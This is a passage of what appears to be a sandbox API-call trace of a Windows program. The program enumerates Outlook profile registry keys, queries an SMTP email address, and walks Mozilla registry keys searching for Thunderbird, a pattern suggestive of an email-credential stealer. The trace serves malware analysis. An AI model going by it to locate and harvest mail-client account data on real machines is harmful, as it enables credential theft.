lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\Calendar Summary") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\Calendar Summary" [0079.766] LocalFree (hMem=0x630000) returned 0x0 [0079.766] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\Calendar Summary", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ee3c | out: phkResult=0x12ee3c*=0x1f8) returned 0x0 [0079.766] RegQueryValueExA (in: hKey=0x1f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x12ee34, lpData=0x0, lpcbData=0x12ee38*=0x0 | out: lpType=0x12ee34*=0x0, lpData=0x0, lpcbData=0x12ee38*=0x0) returned 0x2 [0079.767] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Calendar Summary", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.767] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x13, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.767] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.767] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.767] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x82, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.767] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.767] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.767] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.767] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x8) returned 0x0 [0079.768] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdc8*=0x0, cb=0x4, pcbWritten=0x12fda4 | out: pcbWritten=0x12fda4*=0x4) returned 0x0 [0079.768] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fddc*=0x5f, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0079.768] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fde0*=0x0, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0079.768] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x12fde7 | out: lpBuffer="C:\\Users\\EEBsYm5\\Desktop") returned 0x18 [0079.768] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0079.768] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655600 [0079.768] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x1f4) returned 0x0 [0079.768] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x0, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.768] lstrlenA (lpString="Software\\Mozilla") returned 16 [0079.768] lstrlenA (lpString="\\") returned 1 [0079.768] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x670c38 [0079.768] lstrcpyA (in: lpString1=0x670c38, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0079.768] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.768] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0079.768] lstrlenA (lpString="Firefox") returned 7 [0079.768] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652d58 [0079.768] lstrcpyA (in: lpString1=0x652d58, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.768] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0079.768] LocalFree (hMem=0x670c38) returned 0x0 [0079.768] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0079.768] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64f448 [0079.768] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x1f0) returned 0x0 [0079.768] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.768] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0079.768] lstrlenA (lpString="\\") returned 1 [0079.768] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652b60 [0079.768] lstrcpyA (in: lpString1=0x652b60, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0079.768] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0079.768] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0079.768] lstrlenA (lpString="Crash Reporter") returned 14 [0079.768] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.768] lstrcpyA (in: lpString1=0x629248, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0079.768] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="Crash Reporter" | out: lpString1="Software\\Mozilla\\Firefox\\Crash Reporter") returned="Software\\Mozilla\\Firefox\\Crash Reporter" [0079.768] LocalFree (hMem=0x652b60) returned 0x0 [0079.769] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\Crash Reporter", lpSrch="Thunderbird") returned 0x0 [0079.769] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.769] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.769] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.769] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.769] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0079.769] lstrlenA (lpString="\\") returned 1 [0079.769] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652b60 [0079.769] lstrcpyA (in: lpString1=0x652b60, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0079.769] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0079.769] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0079.769] lstrlenA (lpString="TaskBarIDs") returned 10 [0079.769] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x629248 [0079.769] lstrcpyA (in: lpString1=0x629248, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0079.769] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0079.769] LocalFree (hMem=0x652b60) returned 0x0 [0079.769] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0079.769] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.769] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.769] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.769] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x2, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.769] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x1, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.769] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Thunderbird") returned 0x0 [0079.769] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x655600 [0079.769] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0x12fdc4 | out: phkResult=0x12fdc4*=0x1f4) returned 0x0 [0079.769] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x0, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.769] lstrlenA (lpString="Software\\Mozilla") returned 16 [0079.769] lstrlenA (lpString="\\") returned 1 [0079.769] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x670c38 [0079.769] lstrcpyA (in: lpString1=0x670c38, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0079.770] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.770] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0079.770] lstrlenA (lpString="Firefox") returned 7 [0079.770] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652d58 [0079.770] lstrcpyA (in: lpString1=0x652d58, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.770] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0079.770] LocalFree (hMem=0x670c38) returned 0x0 [0079.770] StrStrIA (lpFirst="Software\\Mozilla\\Firefox", lpSrch="Thunderbird") returned 0x0 [0079.770] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64f448 [0079.770] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x1f0) returned 0x0 [0079.770] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.770] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0079.770] lstrlenA (lpString="\\") returned 1 [0079.770] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652b60 [0079.770] lstrcpyA (in: lpString1=0x652b60, lpString2="Software\\Mozilla\\Firefox" | out: lpString1="Software\\Mozilla\\Firefox") returned="Software\\Mozilla\\Firefox" [0079.770] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0079.770] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0079.770] lstrlenA (lpString="TaskBarIDs") returned 10 [0079.770] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x629248 [0079.770] lstrcpyA (in: lpString1=0x629248, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0079.770] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0079.770] LocalFree (hMem=0x652b60) returned 0x0 [0079.770] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Thunderbird") returned 0x0 [0079.770] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.770] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.770] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.770] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.770] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x1, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MaintenanceService", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.770] lstrlenA (lpString="Software\\Mozilla") returned 16 [0079.770] lstrlenA (lpString="\\") returned 1 [0079.770] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x670c38 [0079.771] lstrcpyA (in: lpString1=0x670c38, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0079.771] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.771] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0079.771] lstrlenA (lpString="MaintenanceService") returned 18 [0079.771] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x629248 [0079.771] lstrcpyA (in: lpString1=0x629248, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.771] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0079.771] LocalFree (hMem=0x670c38) returned 0x0 [0079.771] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService", lpSrch="Thunderbird") returned 0x0 [0079.771] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64f448 [0079.771] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x1f0) returned 0x0 [0079.771] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.771] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService") returned 35 [0079.771] lstrlenA (lpString="\\") returned 1 [0079.771] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0079.771] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0079.771] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0079.771] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\") returned 36 [0079.771] lstrlenA (lpString="f9b87e891978e3145f0f8f9953eadc00") returned 32 [0079.771] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x66b738 [0079.771] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Mozilla\\MaintenanceService\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0079.771] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\", lpString2="f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0079.771] LocalFree (hMem=0x6293a8) returned 0x0 [0079.771] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpSrch="Thunderbird") returned 0x0 [0079.771] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.771] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.771] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.771] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned 68 [0079.771] lstrlenA (lpString="\\") returned 1 [0079.771] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x630000 [0079.771] lstrcpyA (in: lpString1=0x630000, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0079.771] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0079.771] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned 69 [0079.771] lstrlenA (lpString="0") returned 1 [0079.771] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x66b940 [0079.772] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0079.772] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\", lpString2="0" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0" [0079.772] LocalFree (hMem=0x630000) returned 0x0 [0079.772] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", lpSrch="Thunderbird") returned 0x0 [0079.772] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x675360 [0079.772] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x1fc) returned 0x0 [0079.772] RegEnumKeyExA (in: hKey=0x1fc, dwIndex=0x0, lpName=0x675360, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.772] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x1, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.772] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x1, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.772] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x2, lpName=0x655600, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.772] lstrlenA (lpString="Software\\Mozilla") returned 16 [0079.772] lstrlenA (lpString="\\") returned 1 [0079.772] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x670c38 [0079.772] lstrcpyA (in: lpString1=0x670c38, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0079.772] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.772] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0079.772] lstrlenA (lpString="Mozilla Firefox") returned 15 [0079.772] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x629248 [0079.772] lstrcpyA (in: lpString1=0x629248, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0079.772] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0079.772] LocalFree (hMem=0x670c38) returned 0x0 [0079.772] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Thunderbird") returned 0x0 [0079.772] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64f448 [0079.772] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x1f0) returned 0x0 [0079.772] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x64f448, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.772] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0079.772] lstrlenA (lpString="\\") returned 1 [0079.772] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6293a8 [0079.772] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0079.772] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0079.773] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0079.773] lstrlenA (lpString="25.0 (en-US)") returned 12 [0079.773] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647ab8 [0079.773] lstrcpyA (in: lpString1=0x647ab8, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0079.773] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0079.773] LocalFree (hMem=0x6293a8) returned 0x0 [0079.773] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Thunderbird") returned 0x0 [0079.773] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x64fcd0 [0079.773] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x1f8) returned 0x0 [0079.773] RegEnumKeyExA (in: hKey=0x1f8, dwIndex=0x0, lpName=0x64fcd0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.773] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0079.773] lstrlenA (lpString="\\") returned 1 [0079.773] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647b70 [0079.773] lstrcpyA (in: lpString1=0x647b70, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0079.773] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0079.773] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0079.773] lstrlenA (lpString="Main") returned 4 [0079.773] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0079.773] lstrcpyA (in: 